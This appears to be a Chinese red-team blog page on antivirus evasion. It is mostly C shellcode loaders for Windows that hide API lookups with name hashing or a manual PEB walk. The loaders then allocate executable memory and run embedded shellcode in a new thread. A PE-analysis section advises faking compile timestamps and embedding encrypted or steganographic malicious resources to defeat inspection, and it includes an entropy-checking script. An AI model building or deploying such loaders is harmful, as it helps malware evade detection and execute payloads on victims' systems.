typedef PVOID(WINAPI *PCreateThread)(PSECURITY_ATTRIBUTES, SIZE_T, PTHREAD_START_ROUTINE, PVOID, DWORD, PDWORD);
typedef PVOID(WINAPI *PWaitForSingleObject)(HANDLE, DWORD);

unsigned int hash(const char *str)
{
	unsigned int hash = 7759;
	int c;

	while (c = *str++)
		hash = ((hash << 5) + hash) + c;

	return hash;
}

void main()
{
	HMODULE hKernel32 = GetModuleHandle(L"kernel32.dll");
	PVirtualAlloc funcVirtualAlloc;
	PCreateThread funcCreateThread;
	PWaitForSingleObject funcWaitForSingleObject;

	PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hKernel32;
	PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)((PBYTE)hKernel32 + pDosHeader->e_lfanew);
	PIMAGE_OPTIONAL_HEADER pOptionalHeader = (PIMAGE_OPTIONAL_HEADER)&(pNtHeader->OptionalHeader);
	PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)hKernel32 + pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
	PULONG pAddressOfFunctions = (PULONG)((PBYTE)hKernel32 + pExportDirectory->AddressOfFunctions);
	PULONG pAddressOfNames = (PULONG)((PBYTE)hKernel32 + pExportDirectory->AddressOfNames);
	PUSHORT pAddressOfNameOrdinals = (PUSHORT)((PBYTE)hKernel32 + pExportDirectory->AddressOfNameOrdinals);

	for (int i = 0; i < pExportDirectory->NumberOfNames; ++i)
	{
		PCSTR pFunctionName = (PSTR)((PBYTE)hKernel32 + pAddressOfNames[i]);
		if (hash(pFunctionName) == 0x80fa57e1)
		{
			funcVirtualAlloc = (PVirtualAlloc)((PBYTE)hKernel32 + pAddressOfFunctions[pAddressOfNameOrdinals[i]]);
		}
		if (hash(pFunctionName) == 0xc7d73c9b)
		{
			funcCreateThread = (PCreateThread)((PBYTE)hKernel32 + pAddressOfFunctions[pAddressOfNameOrdinals[i]]);
		}
		if (hash(pFunctionName) == 0x50c272c4)
		{
			funcWaitForSingleObject = (PWaitForSingleObject)((PBYTE)hKernel32 + pAddressOfFunctions[pAddressOfNameOrdinals[i]]);
		}
	}

	unsigned char shellcode[] = "\\xfc\\x48\\x83";

	PVOID shellcode_exec = funcVirtualAlloc(0, sizeof shellcode, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	memcpy(shellcode_exec, shellcode, sizeof shellcode);
	DWORD threadID;
	HANDLE hThread = funcCreateThread(NULL, 0, (PTHREAD_START_ROUTINE)shellcode_exec, NULL, 0, &threadID);
	funcWaitForSingleObject(hThread, INFINITE);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55

# shellcode style

typedef HMODULE(WINAPI *PGetModuleHandleA)(PCSTR);
typedef FARPROC(WINAPI *PGetProcAddress)(HMODULE, PCSTR);

typedef PVOID(WINAPI *PVirtualAlloc)(PVOID, SIZE_T, DWORD, DWORD);
typedef PVOID(WINAPI *PCreateThread)(PSECURITY_ATTRIBUTES, SIZE_T, PTHREAD_START_ROUTINE, PVOID, DWORD, PDWORD);
typedef PVOID(WINAPI *PWaitForSingleObject)(HANDLE, DWORD);

void main()
{
	PPEB pPEB = (PPEB)__readgsqword(0x60);
	PPEB_LDR_DATA pLoaderData = pPEB->Ldr;
	PLIST_ENTRY listHead = &pLoaderData->InMemoryOrderModuleList;
	PLIST_ENTRY listCurrent = listHead->Flink;
	PVOID kernel32Address;
	do
	{
		PLDR_DATA_TABLE_ENTRY dllEntry = CONTAINING_RECORD(listCurrent, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
		DWORD dllNameLength = WideCharToMultiByte(CP_ACP, 0, dllEntry->FullDllName.Buffer, dllEntry->FullDllName.Length, NULL, 0, NULL, NULL);
		PCHAR dllName = (PCHAR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dllNameLength);
		WideCharToMultiByte(CP_ACP, 0, dllEntry->FullDllName.Buffer, dllEntry->FullDllName.Length, dllName, dllNameLength, NULL, NULL);
		CharUpperA(dllName);
		if (strstr(dllName, "KERNEL32.DLL"))
		{
			kernel32Address = dllEntry->DllBase;
			HeapFree(GetProcessHeap(), 0, dllName);
			break;
		}
		HeapFree(GetProcessHeap(), 0, dllName);
		listCurrent = listCurrent->Flink;
	} while (listCurrent != listHead);

	PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)kernel32Address;
	PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)((PBYTE)kernel32Address + pDosHeader->e_lfanew);
	PIMAGE_OPTIONAL_HEADER pOptionalHeader = (PIMAGE_OPTIONAL_HEADER)&(pNtHeader->OptionalHeader);
	PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)kernel32Address + pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
	PULONG pAddressOfFunctions = (PULONG)((PBYTE)kernel32Address + pExportDirectory->AddressOfFunctions);
	PULONG pAddressOfNames = (PULONG)((PBYTE)kernel32Address + pExportDirectory->AddressOfNames);
	PUSHORT pAddressOfNameOrdinals = (PUSHORT)((PBYTE)kernel32Address + pExportDirectory->AddressOfNameOrdinals);

	PGetModuleHandleA pGetModuleHandleA = NULL;
	PGetProcAddress pGetProcAddress = NULL;

	for (int i = 0; i < pExportDirectory->NumberOfNames; ++i)
	{
		PCSTR pFunctionName = (PSTR)((PBYTE)kernel32Address + pAddressOfNames[i]);
		if (!strcmp(pFunctionName, "GetModuleHandleA"))
		{
			pGetModuleHandleA = (PGetModuleHandleA)((PBYTE)kernel32Address + pAddressOfFunctions[pAddressOfNameOrdinals[i]]);
		}
		if (!strcmp(pFunctionName, "GetProcAddress"))
		{
			pGetProcAddress = (PGetProcAddress)((PBYTE)kernel32Address + pAddressOfFunctions[pAddressOfNameOrdinals[i]]);
		}
	}

	HMODULE hKernel32 = pGetModuleHandleA("kernel32.dll");
	PVirtualAlloc funcVirtualAlloc = (PVirtualAlloc)pGetProcAddress(hKernel32, "VirtualAlloc");
	PCreateThread funcCreateThread = (PCreateThread)pGetProcAddress(hKernel32, "CreateThread");
	PWaitForSingleObject funcWaitForSingleObject = (PWaitForSingleObject)pGetProcAddress(hKernel32, "WaitForSingleObject");

	unsigned char shellcode[] = "\\xfc\\x48\\x83 (...) ";
	PVOID shellcode_exec = funcVirtualAlloc(0, sizeof shellcode, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	memcpy(shellcode_exec, shellcode, sizeof shellcode);
	DWORD threadID;
	HANDLE hThread = funcCreateThread(NULL, 0, (PTHREAD_START_ROUTINE)shellcode_exec, NULL, 0, &threadID);
	funcWaitForSingleObject(hThread, INFINITE);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67

# PE analysis

在静态检查恶意样本时,恶意软件分析师会查看PE文件的结构和内容。此数据可能会揭示有关该应用程序的某些详细信息,并有助于将其分类为恶意软件。我们讨论了导入,现在让我们集中讨论其他PE部分,嵌入式资源和时间戳。

pe结构看这里pe结构详解

# 时间

PE标头包含TimeDateStamp4字节字段,这是Unix编译时间。可以轻松更改(例如使用十六进制编辑器)以隐藏实际的编译日期。

# 资源文件

我们可以将任何数据作为资源嵌入可执行文件中,例如图标,诱饵文档或shellcode。但是,使用Resource Hacker或任何类似工具,一切都将可见。嵌入加密的恶意资源或使用隐写术是一个好主意,这使得检查它们变得更加困难。

# 熵分析

熵分析可用于轻松查找嵌入在可执行文件中的潜在加密内容。加密的数据通常具有较高的熵(几乎8位)。压缩数据也是如此。

我们可以使用这个简单的Python脚本(一定要安装pefile模块)来计算PE文件段的熵:

import sys
import math
import pefile
import peutils

def Entropy(data):
	entropy = 0  
	if not data:
		return 0
	ent = 0
	for x in range(256):
		p_x = float(data.count(x))/len(data)
		if p_x > 0:
			entropy += - p_x*math.log(p_x, 2)
	return entropy

pe=pefile.PE(sys.argv[1])
for s in pe.sections:
	print (s.Name.decode('utf-8').strip('\\x00') + "\\t" + str(Entropy(s.get_data())))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

# 编译选项

  • 多线程-MT
  • 不生成调试信息,会泄露用户数据

-w862

  • UAC权限

-w783

Edit this page
#免杀
快速入门开发IOS插件
index

← 快速入门开发IOS插件 index→

最近更新
01
Yakit实战:快速挖掘前后端分离网站的API接口漏洞
07-28
02
调用阿里云OpenAPI创建抢占式实例
06-29
03
Github项目集成qodana进行静态代码扫描
06-26
更多文章>

Wing已运营本站:

本站总访问量 次 | 本站访客数 人
RedTeaming | Copyright © 2020-2024 Wing | MIT License
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式
×